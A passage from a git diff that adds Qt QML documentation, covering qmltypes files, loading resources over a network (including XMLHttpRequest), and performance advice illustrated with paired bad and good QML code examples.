MyAppTypes would produce +\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. + +<Path> is an optional argument specifying either an absolute path to the directory containing the +plugin file, or a relative path from the directory containing the \c qmldir file to the directory +containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir +file. The plugin search path can be queried with QQmlEngine::pluginPathList() and modified using QQmlEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. + +\b {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to +the module that can be read by QML tools such as Qt Creator to get information about the +types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes +file. + +Without such a file QML tools may be unable to offer features such as code completion +for the types defined in your plugins. + +\section1 Debugging + +The \c QML_IMPORT_TRACE environment variable can be useful for debugging +when there are problems with finding and loading modules. See +\l{Debugging module imports} for more information. + + +\section1 Writing a qmltypes file + +QML modules may refer to one or more type information files in their +\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes +extension and are read by external tools to gain information about +types defined in plugins. + +As such qmltypes files have no effect on the functionality of a QML module. +Their only use is to allow tools such as Qt Creator to provide code completion, +error checking and other functionality to users of your module. + +Any module that uses plugins should also ship a type description file. + +The best way to create a qmltypes file for your module is to generate it +using the \c qmlplugindump tool that is provided with Qt. + +Example: +If your module is in \c /tmp/imports/My/Module, you could run +\code +qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes +\endcode +to generate type information for your module. Afterwards, add the line +\code +typeinfo mymodule.qmltypes +\endcode +to \c /tmp/imports/My/Module/qmldir to register it. + +While the qmldump tool covers most cases, it does not work if: +\list +\li The plugin uses a \l{QQmlCustomParser}. The component that uses + the custom parser will not get its members documented. +\li The plugin can not be loaded. In particular if you cross-compiled + the plugin for a different architecture, qmldump will not be able to + load it. +\endlist + +In case you have to create a qmltypes file manually or need to adjust +an existing one, this is the file format: + +\qml +import QtQuick.tooling 1.1 + +// There always is a single Module object that contains all +// Component objects. +Module { + // A Component object directly corresponds to a type exported + // in a plugin with a call to qmlRegisterType. + Component { + + // The name is a unique identifier used to refer to this type. + // It is recommended you simply use the C++ type name. + name: "QQuickAbstractAnimation" + + // The name of the prototype Component. + prototype: "QObject" + + // The name of the default property. + defaultProperty: "animations" + + // The name of the type containing attached properties + // and methods. + attachedType: "QDeclarativeAnimationAttached" + + // The list of exports determines how a type can be imported. + // Each string has the format "URI/Name version" and matches the + // arguments to qmlRegisterType. Usually types are only exported + // once, if at all. + // If the "URI/" part of the string is missing that means the + // type should be put into the package defined by the URI the + // module was imported with. + // For example if this module was imported with 'import Foo 4.8' + // the Animation object would be found in the package Foo and + // QtQuick. + exports: [ + "Animation 4.7", + "QtQuick/Animation 1.0" + ] + + // The meta object revisions for the exports specified in 'exports'. + // Describes with revisioned properties will be visible in an export. + // The list must have exactly the same length as the 'exports' list. + // For example the 'animations' propery described below will only be + // available through the QtQuick/Animation 1.0 export. + exportMetaObjectRevisions: [0, 1] + + Property { + name: "animations"; + type: "QQuickAbstractAnimation" + // defaults to false, whether this property is read only + isReadonly: true + // defaults to false, whether the type of this property was a pointer in C++ + isPointer: true + // defaults to false: whether the type actually is a QQmlListProperty<type> + isList: true + // defaults to 0: the meta object revision that introduced this property + revision: 1 + } + Property { name: "loops"; type: "int" } + Property { name: "name"; type: "string" } + Property { name: "loopsEnum"; type: "Loops" } + + Enum { + name: "Loops" + values: { + "Infinite": -2, + "OnceOnly": 1 + } + } + + // Signal and Method work the same way. The inner Parameter + // declarations also support the isReadonly, isPointer and isList + // attributes which mean the same as for Property + Method { name: "restart" } + Signal { name: "started"; revision: 2 } + Signal { + name: "runningChanged" + Parameter { type: "bool" } + Parameter { name: "foo"; type: "bool" } + } + } +} +\endqml + +*/ +/ diff --git a/src/qml/doc/src/network.qdoc b/src/qml/doc/src/network.qdoc new file mode 100644 index 0000000000..049bdddf5a --- /dev/null +++ b/src/qml/doc/src/network.qdoc @@ -0,0 +1,236 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-network.html +\ingroup qml-features +\title Resource Loading and Network Transparency in QML +\brief about loading files and resources accross a network + +QML supports network transparency by using URLs (rather than file names) for all +references from a QML document to other content. This means that anywhere a URL source is expected, +QML can handle remote resources as well as local ones, for example in the following image source: + +\qml +Image { + source: "http://www.example.com/images/logo.png" +} +\endqml + +Since a \e relative URL is the same +as a relative file, development of QML on regular file systems remains simple: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +Network transparency is supported throughout QML, for example: + +\list +\li Fonts - the \c source property of FontLoader is a URL +\li WebViews - the \c url property of WebView (obviously!) +\endlist + +Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load +\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine +will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. +For example if the qmldir file contains the line "World World.qml", it will load +\tt http://example.com/mystuff/World.qml +Any other resources that \tt Hello.qml referred to, usually by a relative URL, would +similarly be loaded from the network. + + +\section1 Relative vs. Absolute URLs + +Whenever an object has a property of type URL (QUrl), assigning a string to that +property will actually assign an absolute URL - by resolving the string against +the URL of the document where the string is used. + +For example, consider this content in \tt{http://example.com/mystuff/test.qml}: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, +but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned +\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. + +If the string assigned to a URL is already an absolute URL, then "resolving" does +not change it and the URL is assigned directly. + + +\section1 Progressive Loading + +Because of the declarative nature of QML and the asynchronous nature of network resources, +objects which reference network resource generally change state as the network resource loads. +For example, an Image with a network source will initially have +a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. +While the content loads, the \c progress will increase until +the content is fully loaded from the network, +at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. +Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply +bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. + +Note that when objects reference local files they immediately have the \c Ready status, but applications wishing +to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O +to improve performance. + + +\section1 Accessing Network Services + +QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended +entirely for accessing network services, which usually respond with references to +content by URLs that can then be used directly in QML. For example, using these facilities +to access an on-line photography service would provide the QML application with URLs to +photographs, which can be directly set on an \l Image \c source property. + +See the \tt examples/declarative/flickr for a real demonstration of this. + + +\section1 Configuring the Network Access Manager + +All network access from QML is managed by a QNetworkAccessManager set on the QQmlEngine which executes the QML. +By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by +providing a QQmlNetworkAccessManagerFactory and setting it via +QQmlEngine::setNetworkAccessManagerFactory(). +For example, the \l {QML Viewer} sets a QQmlNetworkAccessManagerFactory which +creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, +allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. + + +\section1 QRC Resources + +One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into +the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content +that is compiled into the executable: + +\code + QQuickView *canvas = new QQuickView; + canvas->setUrl(QUrl("qrc:/dial.qml")); +\endcode + +The content itself can then use relative URLs, and so be transparently unaware that the content is +compiled into the executable. + + +\section1 Limitations + +The \c import statement is only network transparent if it has an "as" clause. + +More specifically: +\list +\li \c{import "dir"} only works on local file systems +\li \c{import libraryUri} only works on local file systems +\li \c{import "dir" as D} works network transparently +\li \c{import libraryUrl as U} works network transparently +\endlist + +\section1 XMLHttpRequest + +\target XMLHttpRequest + +QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain +data from over a network. + +The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} +as many popular web browsers with following exceptions: +\list +\li QML's XMLHttpRequest does not enforce the same origin policy. +\li QML's XMLHttpRequest does not support \e synchronous requests. +\endlist + +Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset +of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web +browser. The following objects and properties are supported by the QML implementation: + +\table +\header +\li \b {Node} +\li \b {Document} +\li \b {Element} +\li \b {Attr} +\li \b {CharacterData} +\li \b {Text} + +\row +\li +\list +\li nodeName +\li nodeValue +\li nodeType +\li parentNode +\li childNodes +\li firstChild +\li lastChild +\li previousSibling +\li nextSibling +\li attributes +\endlist + +\li +\list +\li xmlVersion +\li xmlEncoding +\li xmlStandalone +\li documentElement +\endlist + +\li +\list +\li tagName +\endlist + +\li +\list +\li name +\li value +\li ownerElement +\endlist + +\li +\list +\li data +\li length +\endlist + +\li +\list +\li isElementContentWhitespace +\li wholeText +\endlist + +\endtable + +The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to +use the XMLHttpRequest object to make a request and read the response headers. + +*/ diff --git a/src/qml/doc/src/performance.qdoc b/src/qml/doc/src/performance.qdoc new file mode 100644 index 0000000000..91c9bbbbd7 --- /dev/null +++ b/src/qml/doc/src/performance.qdoc @@ -0,0 +1,1089 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtquick2-performance.html +\title QML Performance +\brief performance issues and suggestions + +\tableofcontents + +\section1 Timing Considerations + +As an application developer, you must strive to allow the rendering engine +to achieve a consistent 60 frames-per-second refresh rate. 60 FPS means +that there is approximately 16 milliseconds between each frame in which +processing can be done, which includes the processing required to upload +the draw primitives to the graphics hardware. + +In practice, this means that the application developer should use asynchronous, +event driven programming wherever possible, should use worker threads to do +significant processing, should never manually spin the event loop, and should +never spend more than a couple of milliseconds per frame within blocking functions. +Failure to do so will result in skipped frames, which has a drastic effect on the +user experience. + +\section1 Profiling + +The most important tip is: use the QML profiler included with Qt Creator. Knowing +where time is spent in an application will allow you to focus on problem areas which +actually exist, rather than problem areas which potentially exist. See the Qt Creator +manual for more information on how to use the QML profiling tool. + +Determining which bindings are being run the most often, or which functions your +application is spending the most time in, will allow you to decide whether you need +to optimize the problem areas, or redesign some implementation details of your +application so that the performance is improved. Attempting to optimize code without +profiling is likely to result in very minor rather than significant performance +improvements. + +\section1 JavaScript + +Most QML applications will have a large amount of JavaScript code in them, in the +form of dynamic functions, signal handlers, and property binding expressions. +This is not generally a problem (in fact, due to some optimizations in the QML engine +(bindings compiler, etc) it can for some use-cases be faster than calling a C++ function) +however care must be taken to ensure that unnecessary processing isn't triggered +accidentally. + +\section2 Bindings + +There are two types of bindings in QML: optimized and non-optimized bindings. +It is a good idea to keep binding expressions as simple as possible, since the +QML engine makes use of an optimized binding expression evaluator which can +evaluate simple binding expressions without needing to switch into a full +JavaScript execution environment. These optimized bindings are evaluated far +more efficiently than more complex (non-optimized) bindings. + +Things to avoid in binding expressions to maximize optimizability: +\list + \li declaring intermediate JavaScript variables + \li calling JavaScript functions + \li constructing closures or defining functions within the binding expression + \li accessing properties outside of the immediate context (generally, this means outside the component) + \li writing to other properties as side effects +\endlist + +The QML_COMPILER_STATS environment variable may be set when running a QML application +to print statistics about how many bindings were able to be optimized. + +Bindings are quickest when they know the type of objects and properties they are working +with. This means that non-final property lookup in a binding expression can be slower +in some cases, where it is possible that the type of the property being looked up has +been changed (for example, by a derived type). + +Note that if a binding cannot be optimized by the QML engine's optimized binding +expression evaluator, and thus must be evaluated by the full JavaScript environment, +some of the tips listed above will no longer apply. For example, it can sometimes be +beneficial to cache the result of property resolution in an intermediate JavaScript +variable, in a very complex binding. Upcoming sections have more information on these +sorts of optimizations. + +\section2 Type-Conversion + +One major cost of using JavaScript is that in most cases when a property from a QML +element is accessed, a JavaScript object with an external resource containing the +underlying C++ data (or a reference to it) is created. In most cases, this is fairly +inexpensive, but in others it can be quite expensive. One example of where it is +expensive is assigning a C++ QVariantMap Q_PROPERTY to a QML "variant" property. +Lists can also be expensive, although sequences of specific types (QList of int, +qreal, bool, QString, and QUrl) should be inexpensive; other list types involve an +expensive conversion cost (creating a new JavaScript Array, and adding new elements +one by one, with per-element conversion from C++ type instance to JavaScript value). + +Converting between some basic property types (such as "string" and "url" properties) +can also be expensive. Using the closest matching property type will avoid unnecessary +conversion. + +If you must expose a QVariantMap to QML, use a "var" property rather than a "variant" +property. In general, "property var" should be considered to be superior to +"property variant" for every use-case in QtQuick 2.0 (note that "property variant" +is marked as obsolete in the QtQuick 2.0 documentation), as it allows a true JavaScript +reference to be stored (which can reduce the number of conversions required in certain +expressions). + +\section2 Resolving Properties + +Property resolution takes time. While in some cases the result of a lookup can be +cached and reused, it is always best to avoid doing unnecessary work altogether, if +possible. + +In the following example, we have a block of code which is run often (in this case, it +is the contents of an explicit loop; but it could be a commonly-evaluated binding expression, +for example) and in it, we resolve the element with the "rect" id and its "color" property +multiple times: + +\qml +// bad.qml +import QtQuick 2.0 + +Item { + width: 400 + height: 200 + Rectangle { + id: rect + anchors.fill: parent + color: "blue" + } + + function printValue(which, value) { + console.log(which + " = " + value); + } + + Component.onCompleted: { + var t0 = new Date(); + for (var i = 0; i < 1000; ++i) { + printValue("red", rect.color.r); + printValue("green", rect.color.g); + printValue("blue", rect.color.b); + printValue("alpha", rect.color.a); + } + var t1 = new Date(); + console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); + } +} +\endqml + +We could instead resolve the common base just once in the block: + +\qml +// good.qml +import QtQuick 2.0 + +Item { + width: 400 + height: 200 + Rectangle { + id: rect + anchors.fill: parent + color: "blue" + } + + function printValue(which, value) { + console.log(which + " = " + value); + } + + Component.onCompleted: { + var t0 = new Date(); + for (var i = 0; i < 1000; ++i) { + var rectColor = rect.color; // resolve the common base. + printValue("red", rectColor.r); + printValue("green", rectColor.g); + printValue("blue", rectColor.b); + printValue("alpha", rectColor.a); + } + var t1 = new Date(); + console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); + } +} +\endqml + +Just this simple change results in a significant performance improvement. +Note that the code above can be improved even further (since the property +being looked up never changes during the loop processing), by hoisting the +property resolution out of the loop, as follows: + +\qml +// better.qml +import QtQuick 2.0 + +Item { + width: 400 + height: 200 + Rectangle { + id: rect + anchors.fill: parent + color: "blue" + } + + function printValue(which, value) { + console.log(which + " = " + value); + } + + Component.onCompleted: { + var t0 = new Date(); + var rectColor = rect.color; // resolve the common base outside the tight loop. + for (var i = 0; i < 1000; ++i) { + printValue("red", rectColor.r); + printValue("green", rectColor.g); + printValue("blue", rectColor.b); + printValue("alpha", rectColor.a); + } + var t1 = new Date(); + console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); + } +} +\endqml + +\section2 Property Bindings + +A property binding expression will be re-evaluated if any of the properties +it references are changed. As such, binding expressions should be kept as +simple as possible. + +If you have a loop where you do some processing, but only the final result +of the processing is important, it is often better to update a temporary +accumulator which you afterwards assign to the property you need to update, +rather than incrementally updating the property itself, in order to avoid +triggering re-evaluation of binding expressions during the intermediate +stages of accumulation. + +The following contrived example illustrates this point: + +\qml +// bad.qml +import QtQuick 2.0 + +Item { + id: root + width: 200 + height: 200 + property int accumulatedValue: 0 + + Text { + anchors.fill: parent + text: root.accumulatedValue.toString() + onTextChanged: console.log("text binding re-evaluated") + } + + Component.onCompleted: { + var someData = [ 1, 2, 3, 4, 5, 20 ]; + for (var i = 0; i < someData.length; ++i) { + accumulatedValue = accumulatedValue + someData[i]; + } + } +} +\endqml + +The loop in the onCompleted handler causes the "text" property binding to +be re-evaluated six times (which then results in any other property bindings +which rely on the text value, as well as the onTextChanged signal handler, +to be re-evaluated each time, and lays out the text for display each time). +This is clearly unnecessary in this case, since we really only care about +the final value of the accumulation. + +It could be rewritten as follows: + +\qml +// good.qml +import QtQuick 2.0 + +Item { + id: root + width: 200 + height: 200 + property int accumulatedValue: 0 + + Text { + anchors.fill: parent + text: root.accumulatedValue.toString() + onTextChanged: console.log("text binding re-evaluated") + } + + Component.onCompleted: { + var someData = [ 1, 2, 3, 4, 5, 20 ]; + var temp = accumulatedValue; + for (var i = 0; i < someData.length; ++i) { + temp = temp + someData[i]; + } + accumulatedValue = temp; + } +} +\endqml + +\section2 Sequence tips + +As mentioned earlier, some sequence types are fast (eg, QList<int>, QList<qreal>, +QList<bool>, QList<QString>, QStringList and QList<QUrl>) while others will be +much slower. Aside from using these types wherever possible instead of slower types, +there are some other performance-related semantics you need to be aware of to achieve +the best performance. + +Firstly, there are two different implementations for sequence types: one for where +the sequence is a Q_PROPERTY of a QObject (we'll call this a reference sequence), +and another for where the sequence is returned from a Q_INVOKABLE function of a +QObject (we'll call this a copy sequence). + +A reference sequence is read and written via QMetaObject::property() and thus is read +and written as a QVariant. This means that changing the value of any element in the +sequence from JavaScript will result in three steps occurring: the complete sequence +will be read from the QObject (as a QVariant, but then cast to a sequence of the correct +type); the element at the specified index will be changed in that sequence; and the +complete sequence will be written back to the QObject (as a QVariant). + +A copy sequence is far simpler as the actual sequence is stored in the JavaScript +object's resource data, so no read/modify/write cycle occurs (instead, the resource +data is modified directly). + +Therefore, writes to elements of a reference sequence will be much slower than writes +to elements of a copy sequence. In fact, writing to a single element of an N-element +reference sequence is equivalent in cost to assigning a N-element copy sequence to that +reference sequence, so you're usually better off modifying a temporary copy sequence +and then assigning the result to a reference sequence, during computation. + +Assume the existence (and prior registration into the "Qt.example 1.0" namespace) of the +following C++ type: + +\code +class SequenceTypeExample : public QQuickItem +{ + Q_OBJECT + Q_PROPERTY (QList<qreal> qrealListProperty READ qrealListProperty WRITE setQrealListProperty NOTIFY qrealListPropertyChanged) + +public: + SequenceTypeExample() : QQuickItem() { m_list << 1.1 << 2.2 << 3.3; } + ~SequenceTypeExample() {} + + QList<qreal> qrealListProperty() const { return m_list; } + void setQrealListProperty(const QList<qreal> &list) { m_list = list; emit qrealListPropertyChanged(); } + +signals: + void qrealListPropertyChanged(); + +private: + QList<qreal> m_list; +}; +\endcode + +The following example writes to elements of a reference sequence in a +tight loop, resulting in bad performance: + +\qml +// bad.qml +import QtQuick 2.0 +import Qt.example 1.0 + +SequenceTypeExample { + id: root + width: 200 + height: 200 + + Component.onCompleted: { + var t0 = new Date(); + qrealListProperty.length = 100; + for (var i = 0; i < 500; ++i) { + for (var j = 0; j < 100; ++j) { + qrealListProperty[j] = j; + } + } + var t1 = new Date(); + console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); + } +} +\endqml + +The QObject property read and write in the inner loop caused by the +\c{"qrealListProperty[j] = j"} expression makes this code very suboptimal. Instead, +something functionally equivalent but much faster would be: + +\qml +// good.qml +import QtQuick 2.0 +import Qt.example 1.0 + +SequenceTypeExample { + id: root + width: 200 + height: 200 + + Component.onCompleted: { + var t0 = new Date(); + var someData = [1.1, 2.2, 3.3] + someData.length = 100; + for (var i = 0; i < 500; ++i) { + for (var j = 0; j < 100; ++j) { + someData[j] = j; + } + qrealListProperty = someData; + } + var t1 = new Date(); + console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); + } +} +\endqml + +Secondly, a change signal for the property is emitted if any element in it changes. +If you have many bindings to a particular element in a sequence property, it is better +to create a dynamic property which is bound to that element, and use that dynamic +property as the symbol in the binding expressions instead of the sequence element, +as it will only cause re-evaluation of bindings if its value changes. + +This is an unusual use-case which most clients should never hit, but is worth being +aware of, in case you find yourself doing something like this: + +\qml +// bad.qml +import QtQuick 2.0 +import Qt.example 1.0 + +SequenceTypeExample { + id: root + + property int firstBinding: qrealListProperty[1] + 10; + property int secondBinding: qrealListProperty[1] + 20; + property int thirdBinding: qrealListProperty[1] + 30; + + Component.onCompleted: { + var t0 = new Date(); + for (var i = 0; i < 1000; ++i) { + qrealListProperty[2] = i; + } + var t1 = new Date(); + console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); + } +} +\endqml + +Note that even though only the element at index 2 is modified in the loop, the three +bindings will all be re-evaluated since the granularity of the change signal is that +the entire property has changed. As such, adding an intermediate binding can +sometimes be beneficial: + +\qml +// good.qml +import QtQuick 2.0 +import Qt.example 1.0 + +SequenceTypeExample { + id: root + + property int intermediateBinding: qrealListProperty[1] + property int firstBinding: intermediateBinding + 10; + property int secondBinding: intermediateBinding + 20; + property int thirdBinding: intermediateBinding + 30; + + Component.onCompleted: { + var t0 = new Date(); + for (var i = 0; i < 1000; ++i) { + qrealListProperty[2] = i; + } + var t1 = new Date(); + console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); + } +} +\endqml + +In the above example, only the intermediate binding will be re-evaluated each time, +resulting in a significant performance increase. + +\section2 Value-Type tips + +Value-type properties (font, color, vector3d, etc) have similar QObject property +and change notification semantics to sequence type properties. As such, the tips +given above for sequences are also applicable for value-type properties. While +they are usually less of a problem with value-types (since the number of +sub-properties of a value-type is usually far less than the number of elements +in a sequence), any increase in the number of bindings being re-evaluated needlessly +will have a negative impact on performance. + +\section2 Other JavaScript Objects + +Different JavaScript engines provide different optimizations. The JavaScript engine +which QtQuick 2 uses is optimized for object instantiation and property lookup, but +the optimizations which it provides relies on certain criteria. If your application +does not meet the criteria, the JavaScript engine falls back to a "slow-path" mode +with much worse performance. As such, always try to ensure you meet the following +criteria: + +\list +\li Avoid using eval() if at all possible +\li Do not delete properties of objects +\endlist + +\section1 Common Interface Elements + +\section2 Text Elements + +Calculating text layouts can be a slow operation. Consider using the \c PlainText +format instead of \c StyledText wherever possible, as this reduces the amount of work +required of the layout engine. If you cannot use \c PlainText (as you need to embed +images, or use tags to specify ranges of characters to have certain formatting (bold, +italic, etc) as opposed to the entire text) then you should use \c StyledText. + +You should only use \c AutoText if the text might be (but probably isn't) +\c StyledText as this mode will incur a parsing cost. The \c RichText mode should +not be used, as \c StyledText provides almost all of its features at a fraction of +its cost. + +\section2 Images + +Images are a vital part of any user interface. Unfortunately, they are also a big +source of problems due to the time it takes to load them, the amount of memory they +consume, and the way in which they are used. + +\section3 Asynchronous Loading + +Images are often quite large, and so it is wise to ensure that loading an image doesn't +block the UI thread. Set the "asynchronous" property of the QML Image element to +\c true to enable asynchronous loading of images from the local file system (remote +images are always loaded asynchronously) where this would not result in a negative impact +upon the aesthetics of the user interface. + +Image elements with the "asynchronous" property set to \c true will load images in +a low-priority worker thread. + +\section3 Explicit Source Size + +If your application loads a large image but displays it in a small-sized element, set +the "sourceSize" property to the size of the element being rendered to ensure that the +smaller-scaled version of the image is kept in memory, rather than the large one. + +Beware that changing the sourceSize will cause the image to be reloaded. + +\section3 Avoid Run-time Composition + +Also remember that you can avoid doing composition work at run-time by providing the +pre-composed image resource with your application (e.g., providing elements with shadow +effects). + +\section2 Position Elements With Anchors + +It is more efficient to use anchors rather than bindings to position items +relative to each other. Consider this use of bindings to position rect2 +relative to rect1: + +\code +Rectangle { + id: rect1 + x: 20 + width: 200; height: 200 +} +Rectangle { + id: rect2 + x: rect1.x + y: rect1.y + rect1.height + width: rect1.width - 20 + height: 200 +} +\endcode + +This is achieved more efficiently using anchors: + +\code +Rectangle { + id: rect1 + x: 20 + width: 200; height: 200 +} +Rectangle { + id: rect2 + height: 200 + anchors.left: rect1.left + anchors.top: rect1.bottom + anchors.right: rect1.right + anchors.rightMargin: 20 +} +\endcode + +\section1 Models and Views + +Most applications will have at least one model feeding data to a view. There are +some semantics which application developers need to be aware of, in order to achieve +maximal performance. + +\section2 Custom C++ Models + +It is often desirable to write your own custom model in C++ for use with a view in +QML. While the optimal implementation of any such model will depend heavily on the +use-case it must fulfil, some general guidelines are as follows: + +\list +\li Be as asynchronous as possible +\li Do all processing in a (low priority) worker thread +\li Batch up backend operations so that (potentially slow) I/O and IPC is minimized +\li Use a sliding slice window to cache results, whose parameters are determined with the help of profiling +\endlist + +It is important to note that using a low-priority worker thread is recommended to +minimise the risk of starving the GUI thread (which could result in worse perceived +performance). Also, remember that synchronization and locking mechanisms can be a +significant cause of slow performance, and so care should be taken to avoid +unnecessary locking. + +\section2 ListModel + +QML provides a ListModel element which can be used to feed data to a ListView. +It should suffice for most use-cases and be relatively performant so long as +it is used correctly. + +\section3 Populate Within A Worker Thread + +ListModel elements can be populated in a (low priority) worker thread in JavaScript. The +developer must explicitly call "sync()" on the ListModel from within the WorkerScript to +have the changes synchronized to the main thread. See the WorkerScript documentation +for more information. + +Please note that using a WorkerScript element will result in a separate JavaScript engine +being created (as the JavaScript engine is per-thread). This will result in increased +memory usage. Multiple WorkerScript elements will all use the same worker thread, however, +so the memory impact of using a second or third WorkerScript element is negligible once +an application already uses one. + +\section3 Don't Use Dynamic Roles + +The ListModel element in QtQuick 2.0 is much more performant than in QtQuick 1.0. The +performance improvements mainly come from assumptions about the type of roles within each +element in a given model - if the type doesn't change, the caching performance improves +dramatically. If the type can change dynamically from element to element, this optimization +becomes impossible, and the performance of the model will be an order of magnitude worse. + +Therefore, dynamic typing is disabled by default; the developer must specifically set +the boolean "dynamicRoles" property of the model to enable dynamic typing (and suffer +the attendant performance degradation). We recommend that you do not use dynamic typing +if it is possible to redesign your application to avoid it. + +\section2 Views + +View delegates should be kept as simple as possible. Have just enough QML in the delegate +to display the necessary information. Any additional functionality which is not immediately +required (e.g., if it displays more information when clicked) should not be created until +needed (see the upcoming section on lazy initialization). + +The following list is a good summary of things to keep in mind when designing a delegate: +\list +\li The fewer elements that are in a delegate, the faster they can be created, and thus + the faster the view can be scrolled. +\li Keep the number of bindings in a delegate to a minimum; in particular, use anchors + rather than bindings for relative positioning within a delegate. +\li Avoid using ShaderEffect elements within delegates. +\li Never enable clipping on a delegate. +\endlist + +You may set the \c cacheBuffer property of a view to allow asynchronous creation and +buffering of delegates outside of the visible area. Utilizing a \c cacheBuffer is +recommended for view delegates that are non-trivial and unlikely to be created within a +single frame. + +Be mindful that a \c cacheBuffer keeps additional delegates in-memory and therefore the +value derived from utilizing the \c cacheBuffer must be balanced against additional memory +usage. Developers should use benchmarking to find the best value for their use-case, since +the increased memory pressure caused by utilizing a \c cacheBuffer can, in some rare cases, +cause reduced frame rate when scrolling. + +\section1 Visual Effects + +QtQuick 2 includes several features which allow developers and designers to create +exceptionally appealing user interfaces. Fluidity and dynamic transitions as well +as visual effects can be used to great effect in an application, but some care must +be taken when using some of the features in QML as they can have performance implications. + +\section2 Animations + +In general, animating a property will cause any bindings which reference that property +to be re-evaluated. Usually, this is what is desired but in other cases it may be better +to disable the binding prior to performing the animation, and then reassign the binding +once the animation has completed. + +Avoid running JavaScript during animation. For example, running a complex JavaScript +expression for each frame of an x property animation should be avoided. + +Developers should be especially careful using script animations, as these are run in the main +thread (and therefore can cause frames to be skipped if they take too long to complete). + +\section2 Particles + +The QtQuick 2.0 Particles module allows beautiful particle effects to be integrated +seamlessly into user interfaces. However every platform has different graphics hardware +capabilities, and the Particles module is unable to limit parameters to what your hardware +can gracefully support. The more particles you attempt to render (and the larger they are), +the faster your graphics hardware will need to be in order to render at 60 FPS. Affecting +more particles requires a faster CPU. It is therefore important to test all +particle effects on your target platform carefully, to calibrate the number and size of +particles you can render at 60 FPS. + +It should be noted that a particle system can be disabled when not in use +(e.g., on a non-visible element) to avoid doing unnecessary simulation. + +See the \l{Particle System Performance Guide} for more in-depth information. + +\section2 Shaders + +Shaders written in GLSL allow for complex transformations and visual effects to be written, +however they should be used with care. Using a ShaderEffectSource causes a scene to +prerendered into an FBO before it can be drawn. This extra overhead is quite expensive. + +A ShaderEffect element can imply a ShaderEffectSource (and the indirect rendering costs +associated with that) and also involves uploading a vertex and fragment shader program +(which is then compiled into a GLSL shader). Each fragment shader runs once for every +pixel of the scene, and so these should be kept as simple as possible. + +\section1 Controlling Element Lifetime + +By partitioning an application into simple, modular components, each contained in a single +QML file, you can achieve faster application startup time and better control over memory +usage, and reduce the number of active-but-invisible elements in your application. + +\section2 Lazy Initialization + +The QML engine does some tricky things to try to ensure that loading and initialization of +components doesn't cause frames to be skipped, however there is no better way to reduce +startup time than to avoid doing work you don't need to do, and delaying the work until +it is necessary. This may be achieved by using either \l Loader or creating components +\l {Dynamic Object Management in QML}{dynamically}. + +\section3 Using Loader + +The Loader is an element which allows dynamic loading and unloading of components. + +\list +\li Using the "active" property of a Loader, initialization can be delayed until required. +\li Using the overloaded version of the "setSource()" function, initial property values can + be supplied. +\li Setting the Loader \l {Loader::asynchronous}{asynchronous} property to true may also + improve fluidity while a component is instantiated. +\endlist + +\section3 Using Dynamic Creation + +Developers can use the Qt.createComponent() function to create a component dynamically at +runtime from within JavaScript, and then call createObject() to instantiate it. Depending +on the ownership semantics specified in the call, the developer may have to delete the +created object manually. See \l 